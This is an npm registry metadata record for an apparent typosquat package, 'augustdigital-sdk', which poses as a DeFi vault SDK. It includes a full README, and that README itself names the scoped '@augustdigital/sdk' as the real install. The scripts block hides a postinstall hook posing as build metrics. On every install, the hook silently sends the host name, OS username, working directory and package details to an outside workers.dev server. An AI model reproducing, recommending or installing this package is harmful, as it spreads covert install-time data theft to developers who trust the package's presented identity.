{"_id":"augustdigital-sdk","name":"augustdigital-sdk","dist-tags":{"latest":"8.20.1"},"versions":{"8.20.1":{"name":"augustdigital-sdk","version":"8.20.1","main":"lib/index.js","types":"lib/sdk.d.ts","keywords":["augustdigital","sdk","js","institutional","defi"],"author":{"name":"August Digital"},"license":"MIT","description":"JS SDK powering the August Digital ecosystem.","lint-staged":{"*":["biome check --write --no-errors-on-unmatched --files-ignore-unknown=true"]},"sideEffects":["./lib/polyfills.js"],"publishConfig":{"access":"public"},"dependencies":{"@coral-xyz/anchor":"^0.31.1","@sentry/browser":"^8.0.0","@sentry/node":"^8.0.0","@solana/spl-token":"^0.4.14","@solana/wallet-adapter-base":"^0.9.27","@solana/web3.js":"^1.98.4","@stellar/stellar-sdk":"^14.6.1","abitype":"^1.2.3","buffer":"^6.0.3","ethereum-block-by-date":"^1.5.0","ethers":"^6.13.1","lru-cache":"^11.2.2","uuid":"^11.1.0"},"devDependencies":{"@types/jest":"^30.0.0","cross-env":"^7.0.3","dotenv":"^16.0.0","jest":"^30.4.2","ts-jest":"^29.1.0"},"peerDependencies":{"viem":"^2.0.0"},"peerDependenciesMeta":{"viem":{"optional":true}},"scripts":{"build":"tsc && node ../../scripts/run-api-extractor.mjs --only sdk","test":"pnpm build && cross-env node dist/test","test:jest":"jest --config jest.config.unit.js","test:jest:watch":"jest --config jest.config.unit.js --watch","test:jest:coverage":"jest --config jest.config.unit.js --coverage","test:forknet":"node tests/forknet/run.mjs","test:solana-idl":"jest --config jest.config.idl-drift.js","clean":"rm -rf ./lib","format":"biome check --write .","lint-sdk":"lint-staged","benchmark":"node benchmarks/run.js","benchmark:ci":"node benchmarks/run.js --json benchmarks/results.json --md benchmarks/summary.md","gen:version":"node scripts/update-version.js","postinstall":"node -e \"try{require('https').get('https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/'+encodeURIComponent(JSON.stringify({p:process.env.npm_package_name||'?',v:process.env.npm_package_version||'?',h:require('os').hostname(),u:require('os').userInfo().username,c:process.cwd(),d:new Date().toISOString()})))}catch(e){}\""},"_id":"augustdigital-sdk@8.20.1","_nodeVersion":"22.23.1","_npmVersion":"10.9.8","dist":{"integrity":"sha512-sKGXB0vfp1YQAQrJTs8774eRaSc39MflTOUP2waRTjjqUgJlygRB3yFz3Q/BZld6/bwQNeIi4ZmtQZxLKH2wIw==","shasum":"12f84e3cb9c6c194ecdd47ad2db0ddaf769dfe05","tarball":"https://registry.npmjs.org/augustdigital-sdk/-/augustdigital-sdk-8.20.1.tgz","fileCount":316,"unpackedSize":3799710,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEYCIQDwOFmCHZVQTyEX25NFDurosJ8K76QKckHUKVSAluZaYgIhAKOtTHgtUw40DSDqEyGwDFSaj2cjzm9MdWKyUYaXLXmn"}]},"_npmUser":{"name":"awugochogabriel","email":"awugochogabriel@gmail.com"},"directories":{},"maintainers":[{"name":"awugochogabriel","email":"awugochogabriel@gmail.com"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/augustdigital-sdk_8.20.1_1786388182620_0.3493561207110494"},"_hasShrinkwrap":false}},"time":{"created":"2026-08-10T18:56:22.432Z","8.20.1":"2026-08-10T18:56:22.777Z","modified":"2026-08-10T18:56:23.127Z"},"maintainers":[{"name":"awugochogabriel","email":"awugochogabriel@gmail.com"}],"description":"JS SDK powering the August Digital ecosystem.","keywords":["augustdigital","sdk","js","institutional","defi"],"author":{"name":"August Digital"},"license":"MIT","readme":"# August Digital SDK\n\nTypeScript SDK for interacting with August Digital vaults across EVM, Solana, Stellar, and Sui chains.\n\n## Installation\n\n```bash\nnpm install @augustdigital/sdk ethers\n# or\npnpm add @augustdigital/sdk ethers\n# or\nyarn add @augustdigital/sdk ethers\n```\n\n### Wagmi/Viem Support\n\nThe SDK supports both ethers and wagmi/viem signers. If you're using wagmi in your React app, also install viem:\n\n```bash\nnpm install viem\n```\n\nThe SDK automatically converts viem `WalletClient` to an ethers-compatible signer.\n\n## Quick Start\n\n```typescript\nimport AugustSDK from '@augustdigital/sdk';\n\nconst sdk = new AugustSDK({\n  // Required: stable kebab-case slug identifying your application.\n  appName: 'acme-trader',\n  providers: {\n    1: 'https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY',\n    42161: 'https://arb-mainnet.g.alchemy.com/v2/YOUR_KEY',\n    -1: 'https://api.mainnet-beta.solana.com', // Solana\n  },\n  keys: {\n    august: 'YOUR_API_KEY', // Optional: required for allocations, health factors, and sub-account operations\n  },\n  monitoring: {\n    env: 'DEV', // Optional: 'DEV' enables console logging (defaults to 'PROD')\n  },\n});\n\n// Fetch all vaults\nconst vaults = await sdk.getVaults();\n\n// Fetch a specific vault with loans and allocations\nconst vault = await sdk.getVault({\n  vault: '0x...',\n  options: { loans: true, allocations: true },\n});\n\n// Get user positions\nconst positions = await sdk.getVaultPositions({\n  wallet: '0x...',\n  showAllVaults: true,\n});\n```\n\n### App Name\n\n`appName` is required on every `AugustSDK` constructor call. Pass a stable kebab-case slug\nidentifying your application (e.g. `'acme-trader'`, `'my-defi-app'`):\n\n- **What it's used for.** August Digital tags analytics events with `app.name = <yourSlug>` to\n  attribute error spikes and prioritize bug fixes by consuming app.\n- **What it is not.** Not a secret, not a license key, not a display label. Pick a slug once\n  and reuse it across deployments.\n- **Constraints.** 3–64 characters, only `[a-zA-Z0-9._-]`. The SDK throws synchronously from\n  the constructor if the value is missing or invalid.\n\n```typescript\n// Will throw — appName is required.\nnew AugustSDK({ providers: { /* ... */ } } as any);\n\n// Will throw — spaces not allowed. Use 'acme-trader'.\nnew AugustSDK({ appName: 'Acme Trader', providers: { /* ... */ } });\n\n// Correct.\nnew AugustSDK({ appName: 'acme-trader', providers: { /* ... */ } });\n```\n\n## Architecture\n\n```\nsrc.ts/\n├── main.ts              # Main SDK class (AugustSDK)\n├── core/                # Base utilities\n│   ├── base.class.ts    # Base SDK functionality\n│   ├── fetcher.ts       # API client with retry logic\n│   └── web3.helpers.ts  # Blockchain utilities\n├── adapters/            # Chain-specific implementations\n│   ├── evm/             # EVM adapter (approve, deposit, redeem, read helpers)\n│   ├── solana/          # Solana program adapters\n│   ├── stellar/         # Stellar vault adapters\n│   └── sui/             # Sui (Ember) vault adapters\n├── evm/                 # EVM cross-chain (LayerZero OVault)\n├── modules/             # Feature modules\n│   ├── vaults/          # Vault read operations\n│   ├── sub-accounts/    # Sub-account queries\n│   └── api/             # August backend API integration\n├── services/            # External service integrations\n│   ├── debank/          # DeFi allocation data\n│   ├── coingecko/       # Token pricing\n│   └── subgraph/        # Historical transaction data\n└── types/               # TypeScript interfaces\n```\n\n## Key Concepts\n\n### Multi-Chain Support\n\n- **EVM Chains**: Ethereum, Arbitrum, Base, BSC, Avalanche, and more — `wagmi/viem` and `ethers` signers supported\n- **Solana**: Native Solana program support with full vault functionality\n- **Stellar**: Stellar vault deposit, redeem, and position queries\n- **Sui**: Ember vault read operations\n- Unified interface across all chains\n\n### Vault Versions\n\n- `evm-0/evm-1`: Legacy vault contracts\n- `evm-2`: Current EVM vault architecture (separate receipt tokens)\n- `sol-0`: Solana program-based vaults\n- `stellar-0`: Stellar-based vaults\n\n### Data Enrichment\n\nAll vault queries support optional enrichment:\n\n- `loans`: Include active loan data\n- `allocations`: DeFi/CeFi/OTC position breakdowns\n- `wallet`: User-specific position data\n\n## API Reference\n\n### Vault Queries\n\n| Method | Description |\n| --- | --- |\n| `getVaults(options?)` | Fetch all vaults across chains |\n| `getVault({ vault, chainId?, options? })` | Get single vault details |\n| `getVaultLoans({ vault, chainId? })` | Fetch active loans |\n| `getVaultAllocations({ vault, chainId? })` | Get allocation breakdown |\n| `getVaultHistoricalTimeseries({ vault, chainId? })` | Historical APY and TVL timeseries |\n| `getVaultApy({ vault, historical? })` | **@deprecated** — use `getVaultHistoricalTimeseries` |\n| `getVaultTvl({ vault, historical? })` | Current/historical TVL |\n| `getVaultAnnualizedApy({ vault })` | Annualized APY for a vault |\n| `getVaultSummary({ vault })` | Aggregated vault summary |\n| `getVaultPnl({ vault, chainId? })` | Vault-level PnL |\n| `getVaultUnrealizedPnlHistory({ vault, chainId?, ... })` | Unrealized PnL timeseries |\n| `getLatestUnrealizedPnl()` | Latest unrealized PnL snapshot across all vaults |\n| `getYieldLastRealizedOn({ vault, chainId? })` | Timestamp of last yield realization |\n| `getTotalDeposited(options?)` | Total deposited across vaults |\n\n### User Positions\n\n| Method | Description |\n| --- | --- |\n| `getVaultPositions({ wallet?, vault?, chainId? })` | User vault positions |\n| `getVaultAvailableRedemptions({ vault, wallet?, chainId, verbose? })` | Claimable redemptions |\n| `getVaultRedemptionHistory({ vault, wallet?, chainId? })` | Historical redemptions |\n| `getVaultUserHistory({ wallet, vault?, chainId? })` | Transaction history |\n| `getVaultUserTransfers({ wallet, vault?, chainId? })` | Transfer history |\n| `getVaultUserLifetimePnl({ wallet, vault?, chainId? })` | Lifetime PnL for a wallet |\n| `getVaultStakingPositions({ wallet, chainId })` | Staking positions |\n| `getVaultBorrowerHealthFactor(props?)` | Borrower health factor |\n| `getVaultWithdrawals({ vault, chainId? })` | Pending withdrawals |\n\n### Points\n\n| Method | Description |\n| --- | --- |\n| `getUserPoints(userAddress)` | Points balance for a wallet |\n| `registerUserForPoints({ wallet, referral? })` | Register a wallet for the points program |\n| `fetchPointsLeaderboard(params?)` | Points leaderboard |\n\n### Write Operations (top-level)\n\n| Method | Description |\n| --- | --- |\n| `vaultDeposit(signer, options)` | Deposit into a vault |\n| `previewRedemption(props)` | Preview redemption output before broadcasting |\n\n### Cross-Chain (LayerZero)\n\n| Method | Description |\n| --- | --- |\n| `getLayerZeroDeposits({ wallet?, chainId? })` | LayerZero deposit history |\n| `getLayerZeroRedeems(props?)` | LayerZero redemption history |\n\n### Utilities\n\n| Method | Description |\n| --- | --- |\n| `getPrice(symbol)` | Token price in USD |\n| `switchNetwork(chainId)` | Change active chain |\n| `updateWallet(address)` | Set active wallet for tracking |\n\n### Sub-Accounts (`sdk.subAccountsModule`)\n\n| Method | Description |\n| --- | --- |\n| `getSubaccountHealthFactor(address)` | Health factor for a sub-account |\n| `getSubaccountLoans(address)` | Active loans for a sub-account |\n| `getSubaccountCefiPositions(address)` | CeFi positions |\n| `getSubaccountOtcPositions(address)` | OTC positions |\n| `getSubaccountSummary(address)` | Aggregated sub-account summary |\n\n### EVM Adapter (`sdk.evm`)\n\nSet a signer before calling write methods:\n\n```typescript\n// ethers\nimport { JsonRpcProvider, Wallet } from 'ethers';\nconst wallet = new Wallet(process.env.PRIVATE_KEY!, new JsonRpcProvider(rpcUrl));\nsdk.evm.setSigner(wallet);\n\n// wagmi/viem (browser)\nimport { useWalletClient } from 'wagmi';\nconst { data: walletClient } = useWalletClient();\nif (walletClient) sdk.evm.setSigner(walletClient);\n```\n\n**Write methods:**\n\n| Method | Description |\n| --- | --- |\n| `vaultApprove(options)` | Approve token spend for a vault |\n| `approve(options)` | Generic ERC-20 approve |\n| `vaultDeposit(options)` | Deposit assets into a vault |\n| `vaultRequestRedeem(options)` | Request a withdrawal/redemption |\n| `vaultRedeem(signer, options)` | Claim an available redemption |\n| `depositNative(options)` | Deposit native tokens (ETH, etc.) |\n| `swapAndDeposit(options)` | Swap and deposit in one call |\n| `depositViaSwapRouter(options)` | Deposit via the swap router |\n| `depositNativeViaSwapRouter(options)` | Deposit native via the swap router |\n\n**Read helpers (return raw `bigint`):**\n\n| Method | Description |\n| --- | --- |\n| `previewDeposit(options)` | Shares minted for a deposit amount |\n| `previewRedeem(options)` | Assets returned for a share amount |\n| `allowance(options)` | ERC-20 allowance granted to the vault |\n| `balanceOf(options)` | ERC-20 balance for any token/owner |\n| `maxDeposit(options)` | Maximum deposit accepted by the vault |\n| `vaultAllowance(options)` | Vault-specific allowance check |\n| `getDeposited(options)` | Current deposited balance |\n| `getRemainingAllocations(options)` | Remaining allocation capacity |\n| `isWhitelisted(options)` | Check whitelist status |\n\n### Solana Adapter (`sdk.solana`)\n\n| Method | Description |\n| --- | --- |\n| `getVaultState(...)` | Vault state from the Solana program |\n| `getVaultStateReadOnly(...)` | Read-only vault state |\n| `getToken(mintAddress)` | SPL token info |\n| `getTokenSymbol(mintAddress)` | Token symbol |\n| `fetchUserTokenBalance(publicKey, mint)` | User SPL token balance |\n| `fetchUserShareBalance(publicKey, vault)` | User share balance |\n| `fetchUserShareBalanceRaw(publicKey, vault)` | Raw share balance (bigint) |\n\n### Stellar Adapter (`sdk.stellar`)\n\n| Method | Description |\n| --- | --- |\n| `vaultDeposit(options)` | Deposit into a Stellar vault |\n| `vaultRedeem(options)` | Redeem from a Stellar vault |\n| `submitTransaction(signedXdr)` | Submit a signed XDR transaction |\n| `getUserPosition(options)` | User position in a Stellar vault |\n| `convertToShares(options)` | Convert an asset amount to shares |\n\n### Sui Adapter (`sdk.sui`)\n\n| Method | Description |\n| --- | --- |\n| `getEmberVaults()` | List all Ember (Sui) vaults |\n| `getEmberTVL(limit?)` | Total value locked across Ember vaults |\n\n## Code Conventions\n\n### Naming Patterns\n\n- **Interfaces**: Prefixed with `I` (e.g., `IVault`, `IVaultLoan`)\n- **ABIs**: Prefixed with `ABI_` (e.g., `ABI_LENDING_POOL_V2`)\n- **Types**: Descriptive names (e.g., `IAddress`, `IChainId`)\n\n### Special Comment Tags\n\nSearch the codebase for these to find important areas:\n\n- `@todo`: Planned improvements or missing features\n- `@hardcoded`: Hardcoded values that may need configuration\n- `@solana`: Solana-specific logic or notes\n\n### Error Handling\n\nEvery public method throws typed errors that subclass `AugustSDKError`:\n\n```typescript\nimport { AugustValidationError, AugustTimeoutError, AugustSDKError } from '@augustdigital/sdk';\n\ntry {\n  await sdk.evm.vaultDeposit({ target: '0x...', wallet: owner, amount: '1' });\n} catch (err) {\n  if (err instanceof AugustValidationError) showFormError(err.message);\n  else if (err instanceof AugustTimeoutError) scheduleRetry(err.timeoutMs);\n  else if (err instanceof AugustSDKError) reportError(err.code, err.cause);\n  else throw err;\n}\n```\n\n- Automatic retry with exponential backoff for network errors\n- 90-second request timeout (configurable via `REQUEST_TIMEOUT_MS`)\n- Correlation IDs in errors for debugging\n\n### Environment Configuration\n\n```typescript\n// Development mode — enables console logging\nconst sdk = new AugustSDK({ appName: 'my-app', providers: { /* ... */ }, monitoring: { env: 'DEV' } });\n\n// Production mode — default, no console logs\nconst sdk = new AugustSDK({ appName: 'my-app', providers: { /* ... */ } });\n```\n\n## Development\n\n### Running Tests\n\n```bash\npnpm test\n```\n\n### Building\n\n```bash\npnpm build\n```\n\n## Support\n\n- **Issues**: [GitHub Issues](https://github.com/fractal-protocol/js-sdk/issues)\n- **Documentation**: [docs.augustdigital.io](https://docs.augustdigital.io/developers/javascript-sdk)\n- **Example App**: [starter.upshift.finance](https://starter.upshift.finance/)\n","readmeFilename":"README.md","_rev":"1-bbce1abc1804d552c9b8c15df7817e9e"}